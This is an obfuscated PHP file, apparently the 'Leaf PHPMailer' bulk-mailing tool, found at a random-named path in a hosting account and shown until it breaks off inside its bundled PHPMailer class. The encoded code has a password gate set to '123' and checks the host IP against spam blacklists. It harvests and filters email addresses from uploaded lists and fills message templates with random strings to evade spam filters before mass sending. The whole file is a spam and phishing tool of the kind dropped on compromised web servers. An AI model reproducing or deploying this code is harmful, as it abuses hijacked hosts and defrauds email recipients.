File: /home/g/e/y/geyhairs/dKXoM5JMgh.php
<?php
/* _______________________________________________________
| Obfuscated by miniOrange - Php Obfuscator |
|_______________________________________________________|
*/
$fzPIW = "\61\x32\63";
session_start();
error_reporting(0);
set_time_limit(0);
ini_set("\155\145\155\x6f\162\x79\137\154\151\x6d\151\x74", -1);
$QsWd8["\x76\145\162\x73\151\x6f\x6e"] = "\62\x2e\x38";
$QsWd8["\x77\145\x62\x73\x69\x74\145"] = "\x6c\x65\141\146\x6d\141\151\154\x65\x72\x2e\160\167";
$qu7qj = md5(__FILE__);
if (!(!empty($fzPIW) and $_SESSION[$qu7qj] != $fzPIW)) {
goto YjpyF;
}
if (isset($_REQUEST["\160\141\163\x73"]) and $_REQUEST["\160\x61\x73\163"] == $fzPIW) {
goto o4NE8;
}
print "\x3c\x70\162\145\x20\x61\154\x69\147\156\x3d\x63\145\x6e\x74\145\x72\76\74\x66\157\x72\155\x20\155\x65\x74\x68\x6f\x64\75\160\x6f\163\x74\x3e\120\x61\163\x73\167\157\x72\144\x3a\40\74\151\156\x70\165\x74\x20\x74\171\160\x65\75\x27\x70\141\x73\x73\167\x6f\x72\x64\47\40\x6e\x61\155\x65\x3d\x27\160\141\x73\x73\x27\x3e\74\151\x6e\160\165\164\40\164\x79\160\145\x3d\x27\163\165\142\155\151\164\47\x20\x76\x61\154\165\145\x3d\47\76\x3e\47\x3e\x3c\x2f\146\157\162\155\76\x3c\57\160\x72\x65\x3e";
exit;
goto l9T2u;
o4NE8:
$_SESSION[$qu7qj] = $fzPIW;
l9T2u:
YjpyF:
session_write_close();
function leafClear($ROGyB, $D2erR)
{
$Hy1W4 = explode("\100", $D2erR);
$sxXxh = $Hy1W4[0];
$X2OKL = $Hy1W4[1];
$ROGyB = str_replace("\133\55\x74\151\x6d\x65\x2d\135", date("\x6d\57\x64\x2f\131\x20\150\x3a\x69\72\x73\x20\141", time()), $ROGyB);
$ROGyB = str_replace("\133\55\145\x6d\x61\151\154\x2d\135", $D2erR, $ROGyB);
$ROGyB = str_replace("\133\x2d\145\155\141\151\x6c\x75\163\x65\x72\x2d\x5d", $sxXxh, $ROGyB);
$ROGyB = str_replace("\x5b\x2d\x65\x6d\x61\x69\154\x64\157\x6d\141\151\x6e\55\x5d", $X2OKL, $ROGyB);
$ROGyB = str_replace("\133\55\162\141\156\144\157\155\x6c\x65\x74\164\x65\162\x73\x2d\135", randString("\141\x62\x63\x64\x65\146\147\150\x69\x6a\153\154\155\x6e\157\x70\x71\162\x73\x74\165\166\x77\170\171\x7a"), $ROGyB);
$ROGyB = str_replace("\133\55\x72\141\156\x64\x6f\155\163\x74\x72\x69\156\147\55\135", randString("\141\x62\x63\144\145\x66\x67\150\x69\x6a\153\154\155\x6e\x6f\x70\x71\162\x73\x74\165\166\x77\x78\171\x7a\x30\61\x32\63\64\65\x36\x37\x38\x39"), $ROGyB);
$ROGyB = str_replace("\x5b\55\x72\141\x6e\x64\157\x6d\156\x75\x6d\x62\145\162\55\x5d", randString("\60\61\62\x33\x34\x35\66\67\x38\x39"), $ROGyB);
$ROGyB = str_replace("\x5b\x2d\x72\141\156\x64\157\155\155\x64\65\55\x5d", md5(randString("\141\142\143\144\x65\x66\147\x68\x69\x6a\x6b\x6c\155\156\x6f\x70\x71\162\163\x74\x75\x76\x77\x78\x79\x7a\x30\61\62\x33\x34\x35\x36\x37\x38\x39")), $ROGyB);
return $ROGyB;
}
function leafTrim($TYDtX)
{
$TYDtX = urldecode($TYDtX);
return stripslashes(trim($TYDtX));
}
function randString($hgps3)
{
$RE2pI = rand(12, 25);
$fzPIW = '';
$Ky6GK = 0;
EAzIS:
if (!($Ky6GK < $RE2pI)) {
goto PHA_w;
}
$fzPIW .= $hgps3[rand() % strlen($hgps3)];
WFtq0:
$Ky6GK++;
goto EAzIS;
PHA_w:
return $fzPIW;
}
function leafMailCheck($D2erR)
{
if (filter_var($D2erR, FILTER_VALIDATE_EMAIL)) {
goto mZxnI;
}
return false;
goto YBmj8;
mZxnI:
return true;
YBmj8:
}
if (!isset($_GET["\143\x68\145\x63\153\x5f\151\160"])) {
goto K0Ew8;
}
if (!isset($_GET["\x68\157\163\x74"])) {
goto HxiQd;
}
$_GET["\150\x6f\163\x74"] = explode("\x2c", $_GET["\x68\157\163\164"]);
foreach ($_GET["\150\157\163\x74"] as $a0GMF) {
if (checkdnsrr($_GET["\143\150\145\143\153\x5f\x69\160"] . "\x2e" . $a0GMF . "\x2e", "\101")) {
goto vwduC;
}
$hRpHt = "\x3c\x66\157\x6e\x74\x20\x63\x6f\x6c\157\x72\75\x27\147\162\145\145\x6e\47\76\40\x43\x6c\x65\141\x6e\74\x2f\146\157\x6e\164\76";
goto OhmdV;
vwduC:
$hRpHt = "\74\146\x6f\x6e\x74\40\143\x6f\x6c\x6f\162\75\47\162\145\144\x27\76\x20\114\151\163\x74\145\x64\x3c\57\146\x6f\x6e\x74\76";
OhmdV:
print "\144\157\143\165\155\x65\x6e\x74\x2e\x67\x65\x74\x45\x6c\145\155\145\156\x74\x42\x79\111\144\x28\x22" . $a0GMF . "\x22\51\56\151\156\156\145\162\110\124\x4d\114\x20\75\x20\42" . $hRpHt . "\x22\73";
x9PGt:
}
VPDUt:
exit;
HxiQd:
$GoXbB = ["\141\x6c\x6c\x2e\x73\x35\150\56\156\145\164", "\142\56\x62\x61\x72\162\x61\x63\165\144\141\x63\145\x6e\x74\162\141\x6c\x2e\x6f\162\147", "\142\x6c\56\x73\160\x61\155\x63\157\x70\x2e\156\145\x74", "\142\x6c\141\x63\x6b\x6c\x69\x73\x74\x2e\x77\157\x6f\144\171\x2e\x63\150", "\142\157\x67\157\x6e\x73\56\143\x79\155\162\x75\56\143\157\155", "\143\x62\154\56\141\x62\165\x73\x65\x61\164\56\157\162\x67", "\x63\x64\154\56\141\156\164\x69\55\x73\x70\x61\x6d\56\157\162\x67\56\x63\156", "\x63\x6f\155\142\151\156\x65\x64\56\x61\x62\165\163\145\56\143\x68", "\x64\142\x2e\167\160\142\154\56\x69\x6e\x66\157", "\144\156\163\142\154\x2d\x31\x2e\x75\143\145\160\x72\x6f\x74\145\143\x74\56\x6e\x65\164", "\x64\x6e\x73\142\154\55\62\x2e\x75\x63\x65\x70\162\157\164\x65\x63\x74\56\156\x65\164", "\x64\156\x73\x62\154\x2d\63\x2e\165\143\x65\160\x72\157\x74\x65\x63\x74\56\156\x65\164", "\x64\156\x73\x62\x6c\x2e\141\x6e\x74\x69\143\141\x70\x74\x63\x68\141\x2e\156\x65\164", "\144\x6e\x73\142\154\x2e\x64\162\x6f\156\145\x62\x6c\x2e\x6f\x72\147", "\x64\156\163\x62\154\x2e\x69\x6e\160\x73\x2e\x64\x65", "\x64\156\x73\x62\x6c\x2e\x73\x6f\x72\142\x73\56\156\x65\164", "\x64\162\x6f\x6e\x65\56\x61\142\x75\x73\x65\56\x63\150", "\x64\165\x69\x6e\x76\56\141\165\x70\x61\x64\163\56\x6f\162\x67", "\144\165\154\56\144\156\163\142\154\56\163\x6f\x72\x62\x73\56\156\145\x74", "\x64\171\156\x61\56\163\x70\141\155\162\141\164\163\x2e\x63\157\x6d", "\144\x79\156\151\160\56\x72\x6f\x74\150\x65\156\56\143\157\155", "\x68\x74\164\160\56\144\156\x73\142\154\56\x73\157\x72\x62\163\x2e\x6e\x65\x74", "\x69\x70\163\x2e\x62\141\143\153\163\143\x61\x74\x74\145\162\x65\x72\x2e\x6f\162\147", "\151\170\x2e\144\x6e\x73\142\154\x2e\155\x61\x6e\151\164\165\x2e\x6e\145\x74", "\153\157\162\145\141\x2e\163\x65\162\x76\151\143\145\x73\x2e\156\x65\x74", "\x6d\151\x73\143\x2e\144\x6e\x73\x62\x6c\56\163\157\162\142\163\56\x6e\x65\164", "\x6e\157\x70\x74\162\x2e\163\160\x61\155\162\x61\164\x73\56\x63\157\155", "\157\162\x76\145\x64\142\56\141\x75\x70\141\x64\163\56\157\162\147", "\160\x62\154\56\x73\x70\141\x6d\150\x61\165\163\x2e\x6f\162\x67", "\x70\x72\x6f\x78\171\56\142\x6c\56\x67\167\x65\145\160\56\143\x61", "\x70\163\x62\154\x2e\x73\x75\x72\x72\151\x65\x6c\56\x63\x6f\x6d", "\162\145\154\141\x79\x73\x2e\142\154\56\x67\167\145\x65\x70\56\x63\x61", "\162\145\x6c\141\x79\x73\56\156\145\x74\x68\x65\162\x2e\x6e\x65\164", "\163\x62\x6c\x2e\163\x70\141\155\150\x61\165\x73\56\157\x72\x67", "\x73\x68\157\162\x74\56\162\x62\154\56\152\x70", "\163\x69\x6e\147\x75\154\141\162\56\x74\x74\x6b\x2e\160\164\x65\56\x68\x75", "\163\x6d\x74\x70\56\x64\x6e\163\142\154\x2e\163\x6f\x72\142\x73\56\156\x65\x74", "\163\x6f\x63\153\163\x2e\x64\x6e\163\x62\x6c\x2e\163\157\x72\142\x73\x2e\156\x65\164", "\163\x70\141\155\56\141\142\165\x73\x65\x2e\x63\150", "\163\160\x61\155\x2e\144\156\163\142\x6c\x2e\x61\x6e\x6f\x6e\155\x61\151\154\x73\x2e\144\145", "\x73\x70\x61\155\x2e\x64\x6e\163\142\x6c\x2e\163\157\x72\x62\163\56\156\x65\164", "\163\160\x61\x6d\x2e\163\x70\141\155\162\141\164\163\x2e\143\157\155", "\163\160\x61\155\x62\157\x74\x2e\142\x6c\x73\x2e\x64\151\x67\x69\x62\x61\x73\145\56\143\x61", "\x73\x70\141\155\162\142\x6c\56\151\155\160\x2e\x63\150", "\163\160\x61\x6d\163\x6f\x75\162\x63\145\163\56\x66\x61\142\x65\x6c\56\144\x6b", "\x75\142\154\x2e\x6c\141\x73\150\142\141\x63\153\x2e\143\157\155", "\x75\x62\154\x2e\x75\x6e\163\x75\x62\163\x63\x6f\162\x65\56\x63\157\x6d", "\x76\151\x72\165\x73\56\162\x62\154\56\x6a\160", "\x77\145\x62\56\x64\x6e\x73\142\154\x2e\163\157\162\142\x73\x2e\156\145\x74", "\167\x6f\x72\155\162\x62\154\56\x69\x6d\160\x2e\x63\x68", "\x78\142\154\x2e\x73\160\x61\x6d\x68\141\x75\163\56\x6f\x72\x67", "\172\56\x6d\x61\151\154\x73\x70\x69\153\x65\x2e\156\145\x74", "\x7a\x65\x6e\x2e\163\160\141\155\150\141\165\x73\56\x6f\162\147", "\172\157\x6d\x62\151\145\x2e\x64\156\163\x62\x6c\56\163\157\x72\142\163\x2e\156\145\x74"];
$Dc1Va = implode("\56", array_reverse(explode("\x2e", $_GET["\x63\x68\x65\x63\x6b\x5f\x69\x70"])));
$TB5uC = count($GoXbB);
leafheader();
print "\74\144\151\166\40\143\x6c\x61\x73\x73\x3d\x22\143\x6f\x6e\164\x61\x69\156\x65\162\40\x63\157\x6c\55\154\147\x2d\x36\x22\x3e\74\x68\63\x3e\74\146\157\x6e\x74\x20\143\x6f\x6c\x6f\162\x3d\42\147\x72\145\145\x6e\42\76\74\163\160\141\156\40\x63\154\141\163\163\x3d\x22\x67\154\171\160\x68\151\x63\x6f\156\40\147\x6c\171\x70\x68\151\x63\x6f\x6e\55\x6c\145\141\146\42\76\74\57\163\160\x61\x6e\x3e\x3c\57\x66\x6f\156\164\76\x20\x4c\x65\141\x66\40\120\110\x50\x4d\141\151\x6c\x65\162\x20\74\163\x6d\x61\154\154\x3e\102\x6c\141\143\x6b\x6c\151\x73\x74\40\103\150\145\143\x6b\x65\162\74\x2f\x73\x6d\x61\x6c\154\76\x3c\57\150\63\76";
print "\103\150\145\143\x6b\151\156\x67\x20\74\142\76" . $_GET["\x63\150\x65\x63\x6b\x5f\x69\160"] . "\x3c\57\x62\76\x20\x69\x6e\40\74\x62\x3e{$TB5uC}\74\x2f\142\76\x20\40\141\x6e\x74\x69\55\163\x70\x61\x6d\40\x64\x61\x74\141\142\x61\x73\x65\x73\x3a\74\142\162\x3e";
$XNGhL = '';
print "\x3c\x74\141\x62\154\x65\40\76";
$Ky6GK = 0;
q3S9d:
if (!($Ky6GK < $TB5uC)) {
goto zi90K;
}
$a0GMF = '';
$W5HuC = '';
$BLFIP = $Ky6GK;
PIu_7:
if (!($BLFIP < $Ky6GK + 10)) {
goto Gq1c8;
}
$a0GMF = $GoXbB[$BLFIP];
if (empty($a0GMF)) {
goto U8_g2;
}
print "\x3c\x74\x72\x3e\40\74\164\144\76{$a0GMF}\x3c\x2f\x74\144\x3e\40\x3c\164\x64\40\151\144\x3d\47{$a0GMF}\47\76\103\x68\145\x63\153\151\x6e\147\x20\x2e\x2e\x3c\x2f\x74\144\x3e\x3c\x2f\164\x72\76";
$W5HuC .= "{$a0GMF}\54";
U8_g2:
khKWz:
$BLFIP++;
goto PIu_7;
Gq1c8:
$XNGhL .= "\74\x73\x63\x72\x69\160\x74\40\x73\162\143\75\x27\77\143\x68\x65\143\x6b\137\x69\160\x3d{$Dc1Va}\46\x68\x6f\x73\164\x3d" . $W5HuC . "\x27\40\x74\171\160\x65\x3d\x27\164\145\x78\x74\x2f\x6a\141\166\141\163\x63\x72\x69\x70\164\47\76\74\57\x73\x63\162\151\x70\164\76";
HtJqQ:
$Ky6GK = $Ky6GK + 10;
goto q3S9d;
zi90K:
print "\x3c\57\164\x61\142\x6c\x65\76\74\x2f\144\x69\x76\x3e";
print $XNGhL;
exit;
K0Ew8:
if (!isset($_GET["\x65\155\x61\151\x6c\x66\151\x6c\164\145\x72"])) {
goto sLXKR;
}
if (empty($_FILES["\x66\151\154\145\x54\157\x55\x70\154\157\141\144"]["\164\155\160\x5f\x6e\x61\x6d\x65"])) {
goto TMoNe;
}
$_POST["\x65\155\x61\x69\x6c\114\151\163\164"] = file_get_contents($_FILES["\x66\151\154\145\124\157\125\x70\x6c\x6f\x61\x64"]["\164\155\160\137\156\141\x6d\145"]);
TMoNe:
$_POST["\145\x6d\x61\151\154\114\x69\163\x74"] = strtolower($_POST["\x65\155\x61\151\x6c\x4c\x69\163\x74"]);
if (!($_GET["\145\x6d\141\x69\154\146\x69\x6c\x74\145\162"] == "\151\146\162\141\x6d")) {
goto yAo98;
}
if ($_POST["\162\145\x73\165\x6c\164\x74\x79\x70\145"] == "\x64\x6f\x77\x6e\x6c\157\141\144") {
goto Hk6C9;
}
header("\103\x6f\156\x74\x65\156\x74\55\x54\171\x70\145\72\x20\x74\145\x78\x74\57\160\154\141\151\x6e");
goto JPzXX;
Hk6C9:
header("\x43\x6f\156\x74\145\156\164\55\x44\145\163\143\162\151\160\164\151\157\156\x3a\x20\x46\x69\154\x65\x20\124\162\x61\x6e\163\146\x65\x72");
header("\103\157\156\x74\x65\x6e\164\x2d\x54\x79\160\x65\72\x20\141\160\160\154\151\x63\141\x74\151\x6f\156\x2f\x6f\143\164\x65\164\x2d\x73\164\162\x65\x61\155");
header("\103\x6f\x6e\x74\x65\x6e\x74\55\104\x69\163\x70\x6f\163\x69\x74\151\x6f\x6e\72\40\x61\164\164\x61\143\x68\155\145\156\164\x3b\40\x66\x69\154\145\x6e\x61\x6d\x65\75\145\x6d\141\x69\x6c\x73" . time() . "\56\164\x78\164");
JPzXX:
if ($_POST["\163\165\x62\x6d\151\x74"] == "\145\x78\164\x72\x61\143\x74") {
goto FjhFJ;
}
if ($_POST["\163\165\x62\155\151\x74"] == "\146\x69\154\x74\x65\162") {
goto z1cPr;
}
goto G8RfB;
FjhFJ:
$V87dH = "\x2f\x5b\101\55\x5a\141\x2d\x7a\x30\55\71\56\x5f\x25\x2b\55\135\x2b\x40\x5b\101\55\132\141\55\x7a\x30\55\71\x2e\55\x5d\53\134\56\x5b\101\x2d\x5a\141\55\x7a\x5d\x7b\x32\54\64\x7d\57";
preg_match_all($V87dH, $_POST["\x65\155\141\x69\x6c\114\151\163\x74"], $snrAi);
foreach ($snrAi[0] as $D2erR) {
print $D2erR . "\xa";
Kd1ox:
}
m4V0R:
goto G8RfB;
z1cPr:
$wfyi9 = explode("\12", $_POST["\x65\x6d\x61\151\154\114\x69\x73\164"]);
$KXrmO = explode("\xa", strtolower($_POST["\x6b\145\x79\167\x6f\162\x64\163"]));
foreach ($wfyi9 as $D2erR) {
foreach ($KXrmO as $CuWqM) {
if (!strstr($D2erR, $CuWqM)) {
goto MnOck;
}
print $D2erR . "\12";
goto zCzez;
MnOck:
SeLcb:
}
zCzez:
t2ivD:
}
mbANS:
G8RfB:
exit;
yAo98:
leafheader();
print "\74\144\x69\166\40\x63\154\x61\163\163\75\42\143\157\x6e\164\x61\x69\156\x65\x72\40\x63\x6f\x6c\x2d\x6c\147\x2d\64\x22\x3e\74\x68\63\76\74\146\157\x6e\x74\40\x63\157\154\x6f\162\x3d\42\147\162\x65\145\156\x22\76\x3c\x73\160\141\156\40\143\154\x61\163\x73\x3d\42\x67\154\x79\x70\150\151\x63\157\x6e\x20\147\154\x79\x70\150\x69\143\157\x6e\x2d\154\145\x61\x66\42\x3e\74\x2f\x73\x70\x61\x6e\x3e\74\x2f\x66\157\x6e\x74\76\40\x4c\x65\141\x66\x20\x50\x48\120\x4d\x61\151\x6c\145\x72\x20\74\x73\x6d\141\154\154\x3e\x45\x6d\x61\x69\x6c\x20\106\151\x6c\164\x65\x72\x3c\57\x73\155\x61\154\x6c\x3e\x3c\57\150\x33\x3e";
print "\15\12\40\40\40\x20\74\146\x6f\x72\x6d\40\141\143\164\151\x6f\x6e\75\42\x3f\x65\155\141\x69\x6c\146\151\x6c\164\x65\162\x3d\x69\x66\x72\x61\155\42\40\x6d\x65\x74\150\157\144\75\42\120\117\123\124\x22\40\164\x61\x72\x67\145\164\x3d\42\x6d\x79\55\x69\x66\x72\141\155\x65\x22\x20\145\156\x63\164\x79\x70\x65\75\42\155\165\x6c\x74\x69\160\141\x72\x74\57\x66\x6f\x72\155\55\x64\141\164\141\42\x20\x6f\156\x73\165\x62\155\x69\x74\75\47\x27\76\xd\12\40\x20\40\40\40\x20\40\40\x3c\154\x61\142\x65\x6c\x20\x66\x6f\162\75\x22\x65\155\x61\151\154\x4c\x69\x73\164\x22\76\124\x65\x78\164\40\x3c\57\154\x61\142\x65\x6c\76\x3c\151\156\x70\165\x74\x20\x74\x79\160\x65\x3d\x22\x66\x69\x6c\x65\x22\x20\156\141\155\x65\x3d\x22\146\151\154\x65\x54\x6f\x55\x70\154\157\x61\144\42\40\x69\144\75\x22\x66\x69\x6c\x65\x54\157\x55\x70\154\157\141\x64\x22\76\x20\xd\xa\40\40\x20\x20\x20\x20\40\x20\157\x72\xd\xa\xd\xa\40\40\40\40\x20\40\x20\x20\x3c\164\x65\170\164\x61\x72\x65\x61\40\156\141\x6d\x65\x3d\x22\145\x6d\x61\151\x6c\114\x69\163\x74\x22\40\x69\144\75\x22\x65\x6d\141\151\154\x4c\151\163\164\42\40\x63\154\141\x73\163\x3d\42\x66\157\162\x6d\55\x63\x6f\x6e\164\x72\157\154\x22\x20\162\157\x77\x73\75\42\67\42\40\x69\144\75\42\164\145\x78\164\x41\x72\145\x61\x22\x3e\x3c\x2f\164\x65\x78\164\141\162\x65\x61\76\15\xa\x20\x20\x20\x20\x20\40\74\144\151\x76\x20\143\x6c\x61\163\163\x3d\42\x63\x6f\x6c\x2d\154\x67\x2d\61\x32\42\76\xd\12\40\x20\40\x20\40\40\40\x20\x3c\144\x69\x76\40\x63\154\x61\x73\x73\75\42\162\141\144\x69\157\x22\76\15\12\x20\x20\40\x20\x20\40\40\40\40\40\74\x6c\x61\x62\x65\154\x3e\15\12\40\40\40\40\x20\40\40\40\40\x20\x20\x20\74\x69\156\160\x75\x74\x20\164\x79\160\x65\75\x22\x72\x61\144\151\x6f\x22\x20\156\x61\x6d\x65\x3d\x22\x72\145\163\x75\x6c\164\x74\171\160\145\x22\40\x69\144\75\42\162\x65\x73\x75\154\164\164\171\160\145\x22\x20\x76\141\154\165\145\x3d\x22\150\x65\162\x65\x22\40\x63\x68\x65\x63\x6b\x65\x64\75\x22\42\x3e\15\xa\x20\40\x20\x20\40\x20\x20\40\x20\40\x20\40\123\150\157\x77\x20\x52\x65\x73\x75\154\x74\x20\x69\156\x20\164\150\x69\163\x20\160\x61\147\145\xd\xa\40\x20\x20\x20\40\40\40\40\40\x20\x3c\x2f\154\x61\142\x65\x6c\76\xd\12\40\x20\40\40\40\x20\40\40\74\x2f\144\151\x76\76\15\xa\40\40\40\40\40\x20\40\x20\x3c\x64\x69\166\x20\143\x6c\141\x73\x73\75\x22\162\x61\x64\151\x6f\42\76\15\xa\x20\x20\x20\x20\40\40\40\x20\x20\40\74\x6c\x61\142\145\x6c\76\15\12\x20\40\40\x20\40\x20\x20\x20\x20\x20\x20\x20\74\151\156\160\165\164\40\164\171\160\145\75\42\162\141\144\x69\x6f\x22\40\x6e\141\155\x65\x3d\x22\x72\145\x73\x75\154\x74\164\x79\160\145\x22\40\x69\x64\x3d\42\162\145\x73\165\154\x74\164\171\x70\x65\42\40\166\141\x6c\165\x65\75\42\x64\x6f\x77\x6e\154\x6f\x61\x64\x22\x3e\15\xa\40\x20\x20\x20\x20\40\x20\40\x20\x20\x20\x20\x44\157\167\156\154\157\x61\x64\40\x52\x65\x73\165\154\x74\x20\50\x66\157\162\40\142\151\x67\x20\x6e\x75\155\142\x65\162\163\x29\xd\xa\x20\40\40\x20\x20\x20\40\40\40\x20\74\57\154\141\142\x65\x6c\76\xd\xa\40\40\40\40\40\x20\x20\40\74\x2f\144\x69\x76\76\15\xa\x20\x20\40\x20\x20\x20\74\x2f\x64\x69\166\76\15\xa\x20\x20\40\40\40\x20\40\x20\x20\40\x20\x20\x3c\x6c\145\x67\x65\x6e\144\x3e\74\150\64\76\x45\170\x74\x72\141\143\x74\x20\105\155\x61\151\x6c\74\57\150\x34\x3e\74\x2f\154\145\147\x65\156\144\76\15\12\x20\x20\x20\40\40\40\40\x20\x20\40\x20\40\104\x65\x74\145\x63\x74\151\x6e\x67\x20\145\166\x65\162\171\x20\145\x6d\141\x69\x6c\x20\x28\61\60\x30\x25\x29\x20\141\x6e\x64\x20\x6f\x72\144\145\162\x20\164\150\x65\x6d\40\x6c\x69\x6e\145\x20\142\171\x20\154\x69\156\145\x20\74\142\162\x3e\x3c\142\162\x3e\15\xa\x20\x20\x20\x20\40\x20\40\40\x3c\x62\165\x74\x74\x6f\x6e\40\164\x79\x70\145\75\x22\163\165\x62\155\x69\x74\x22\40\156\141\x6d\145\75\42\163\165\142\155\151\x74\x22\40\166\141\x6c\165\145\75\x22\x65\x78\164\162\x61\x63\x74\42\40\x63\x6c\141\x73\x73\75\x22\x62\x74\156\40\142\164\156\x2d\x64\x65\x66\141\x75\x6c\164\40\x62\x74\156\x2d\163\x6d\x22\76\123\x74\141\162\164\74\x2f\x62\165\x74\x74\157\156\76\xd\12\x20\40\40\40\40\x20\x20\40\x20\x20\40\x20\74\x6c\145\x67\x65\x6e\144\x3e\74\150\64\76\x46\151\154\164\145\162\40\105\x6d\141\x69\154\163\x3c\x2f\150\x34\x3e\74\x2f\x6c\145\x67\145\x6e\144\x3e\15\xa\40\40\x20\x20\40\x20\x20\40\74\154\x61\x62\145\x6c\x20\x3e\x4b\x65\x79\167\157\162\144\163\40\74\x73\155\x61\x6c\154\x3e\x20\145\x78\x3a\40\x67\x6d\141\x69\x6c\56\143\157\155\40\x6f\x72\40\56\x63\x6f\56\x75\x6b\x3c\x2f\163\155\x61\154\154\76\x20\x3c\57\x6c\x61\x62\145\x6c\x3e\x3c\x74\x65\x78\x74\x61\x72\145\141\40\156\x61\x6d\x65\x3d\42\153\x65\x79\x77\157\x72\144\163\42\x20\x69\x64\x3d\x22\153\145\171\167\x6f\162\x64\163\x22\40\x63\154\x61\x73\x73\x3d\42\x66\x6f\x72\155\55\x63\157\x6e\x74\162\x6f\154\42\40\162\157\x77\x73\75\x22\64\42\x20\x69\144\75\42\164\x65\170\164\101\162\145\141\x22\76\x67\x6d\141\151\154\56\x63\157\155\15\xa\x68\x6f\164\155\x61\151\x6c\56\x63\x6f\x6d\15\xa\x79\141\x68\157\x6f\56\143\x6f\x6d\xd\xa\x2e\143\157\x2e\x75\x6b\74\x2f\x74\x65\170\x74\x61\162\145\x61\76\x3c\142\162\x3e\xd\12\xd\xa\x20\x20\x20\x20\40\40\40\x20\40\40\40\x20\74\142\165\x74\x74\157\156\x20\x74\171\x70\145\x3d\x22\163\165\142\x6d\x69\164\x22\40\x6e\x61\155\145\x3d\x22\163\165\x62\155\151\x74\x22\40\x76\x61\154\165\145\75\x22\146\151\154\x74\x65\x72\42\x20\x63\x6c\x61\163\163\75\x22\142\x74\156\x20\142\164\156\x2d\144\x65\x66\x61\x75\x6c\x74\x20\x62\x74\x6e\55\x73\155\x22\x3e\x53\164\x61\x72\x74\74\x2f\142\x75\164\164\157\156\76\xd\xa\x20\40\40\40\x3c\x2f\146\157\x72\155\x3e\xd\12\40\40\x20\40\x3c\154\x61\x62\145\x6c\40\76\x52\145\163\165\x6c\164\40\74\57\x6c\x61\x62\x65\154\x3e\15\12\x20\40\40\x20\74\x69\146\162\141\155\145\x20\163\x74\x79\154\145\x3d\42\x62\x6f\162\144\145\162\x3a\x6e\x6f\156\x65\73\x77\x69\x64\164\x68\72\61\x30\60\x25\x3b\42\40\156\x61\155\x65\75\42\155\171\x2d\151\x66\x72\141\x6d\x65\x22\40\x20\163\162\143\x3d\42\x3f\145\155\x61\x69\154\146\x69\154\x74\x65\x72\75\151\146\x72\141\x6d\42\40\76\x3c\57\151\146\162\x61\x6d\145\76\15\12\40\40\40";
exit;
sLXKR:
$Nxha4 = "\x63\x68\x65\143\153\145\x64";
$ShQNd = "\x73\145\154\x65\x63\164\145\x64";
$xI37z = "\x73\145\x6c\x65\x63\164\x65\x64";
if (!($_POST["\141\x63\164\151\157\x6e"] == "\x73\145\x6e\144" or $_POST["\x61\x63\x74\x69\157\156"] == "\x73\143\157\x72\x65")) {
goto mqpbB;
}
$Cp3Wq = leafTrim($_POST["\163\145\x6e\144\x65\162\x45\155\141\x69\154"]);
$FR34O = leafTrim($_POST["\163\145\156\x64\145\162\x4e\x61\155\145"]);
$H7ity = leafTrim($_POST["\162\x65\x70\154\x79\x54\x6f"]);
$O5Nl2 = leafTrim($_POST["\163\165\142\x6a\x65\143\x74"]);
$yik22 = leafTrim($_POST["\x65\155\141\x69\x6c\x4c\x69\163\164"]);
$ZRCiR = leafTrim($_POST["\155\x65\x73\x73\x61\147\x65\124\x79\x70\x65"]);
$cjbiA = leafTrim($_POST["\x6d\145\x73\163\x61\147\145\x4c\145\x74\164\x65\162"]);
$Waof0 = $_POST["\145\156\143\x6f\x64\x65"];
$Mh992 = $_POST["\x63\150\141\x72\163\145\x74"];
$Nxha4 = '';
$ShQNd = '';
$xI37z = '';
if ($ZRCiR == 2) {
goto P2ufB;
}
$Nxha4 = "\x63\x68\x65\x63\x6b\x65\x64";
goto VE7f4;
P2ufB:
$KXj0Y = "\x63\x68\x65\x63\153\x65\x64";
VE7f4:
if ($Mh992 == "\111\x53\x4f\55\70\70\x35\x39\55\61") {
goto dAm6F;
}
$ShQNd = "\x73\145\x6c\145\143\x74\x65\x64";
goto RjOKX;
dAm6F:
$m_uc7 = "\x73\x65\154\x65\143\164\x65\x64";
RjOKX:
if ($Waof0 == "\67\x62\151\164") {
goto hUlCs;
}
if ($Waof0 == "\x62\151\156\x61\162\x79") {
goto hxAUg;
}
if ($Waof0 == "\142\141\163\145\66\x34") {
goto LbZTW;
}
if ($Waof0 == "\161\x75\157\164\145\x64\55\160\162\151\156\164\x61\142\154\145") {
goto ogcGf;
}
$xI37z = "\x73\x65\x6c\x65\143\x74\145\x64";
goto m4ixa;
hUlCs:
$lArhr = "\x73\145\154\145\143\x74\145\x64";
goto m4ixa;
hxAUg:
$if585 = "\163\x65\x6c\145\x63\x74\145\x64";
goto m4ixa;
LbZTW:
$rCnx9 = "\x73\145\x6c\145\x63\164\145\x64";
goto m4ixa;
ogcGf:
$D26RL = "\163\145\154\145\143\164\145\x64";
m4ixa:
mqpbB:
if (!($_POST["\x61\143\164\151\157\x6e"] == "\166\x69\145\167")) {
goto tUgLR;
}
$mzghg = leafTrim($_POST["\155\x65\163\x73\x61\x67\145\x4c\x65\x74\164\145\x72"]);
$mzghg = leafClear($mzghg, "\x75\x73\x65\162\100\x64\157\x6d\141\x69\x6e\56\x63\x6f\155");
if ($_POST["\155\145\x73\x73\141\147\145\x54\x79\160\145"] == 2) {
goto wtm0D;
}
print $mzghg;
goto bswFB;
wtm0D:
print "\74\160\162\x65\76" . htmlspecialchars($mzghg) . "\x3c\x2f\x70\x72\145\x3e";
bswFB:
exit;
tUgLR:
if (isset($_POST["\163\145\x6e\x64\145\162\105\155\141\151\x6c"])) {
goto NOvIb;
}
$Cp3Wq = "\163\x75\160\x70\157\x72\164\x40" . str_replace("\x77\167\167\x2e", '', $_SERVER["\x48\x54\124\x50\137\x48\117\123\x54"]);
if (leafMailCheck($Cp3Wq)) {
goto Xx5m6;
}
$Cp3Wq = '';
Xx5m6:
NOvIb:
class PHPMailer
{
public $Version = "\65\x2e\x32\56\62\x38";
public $Priority = null;
public $CharSet = "\x69\163\157\x2d\x38\x38\65\71\55\61";
public $ContentType = "\164\145\x78\164\x2f\x70\154\x61\x69\x6e";
public $Encoding = "\x38\142\x69\164";
public $ErrorInfo = '';
public $From = "\x72\157\x6f\x74\100\154\x6f\143\141\x6c\150\157\163\x74";
public $FromName = "\122\x6f\x6f\x74\x20\125\163\x65\162";
public $Sender = '';
public $ReturnPath = '';
public $Subject = '';
public $Body = '';
public $AltBody = '';
public $Ical = '';
protected $MIMEBody = '';
protected $MIMEHeader = '';
protected $mailHeader = '';
public $WordWrap = 0;
public $Mailer = "\155\x61\151\x6c";
